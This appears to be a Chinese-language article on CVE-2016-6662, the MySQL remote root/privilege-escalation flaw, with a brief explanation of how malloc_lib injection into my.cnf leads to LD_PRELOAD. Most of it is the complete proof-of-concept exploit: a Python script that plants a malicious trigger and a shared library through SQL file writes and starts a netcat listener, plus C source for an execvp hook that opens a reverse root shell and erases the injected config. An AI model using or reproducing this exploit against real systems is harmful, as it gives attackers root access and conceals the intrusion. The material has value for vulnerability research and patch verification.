MySQL的默认安装包里面包含一个脚本mysqld_safe，它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的，而数据库守护进程mysqld是用较低权限的mysql用户启动的。以Debian系统为例，MySQL默认安装后mysqld_safe脚本的部分内容如下：
我们可以通过使用--malloc-lib=LIB参数在服务加载时，预先加载一个库文件，这个参数同样可以通过配置文件my.cnf来设置，设置位置在“[mysqld]”或“[mysqld_safe]”部分。
此漏洞的本质是攻击者可以通过log函数利用不恰当的权限设置改写MySQL的配置文件my.cnf，将恶意的库文件路径插入到配置文件my.cnf中，从而加载该恶意库文件，当mysql服务重启时，就能以root权限执行任意代码。
其中“[mysqld]”中的“malloc_lib”选项是关键！当my.cnf配置文件被mysqld_safe脚本加载处理时，mysqld_safe会读取malloc_lib的共享库路径，将其添加到LD_PRELOAD环境变量。mysqld守护进程启动时，此malloc_lib共享库可以优先加载执行，攻击者可以利用这个机会在共享库中执行任意代码，并hook一些函数调用，清理被篡改的配置文件，使得mysqld守护进程正常执行，不会崩溃，使得用户难以察觉。
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
/*
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c
This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.
mysqld_safe will load this library through the following setting:
[mysqld]
malloc_lib=mysql_hookandroot_lib.so
in one of the my.cnf config files (e.g. /etc/my.cnf).
This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.
Before compiling adjust IP / PORT and config path.
~~
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
~~
Compilation (remember to choose settings compatible with the remote OS/arch):
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
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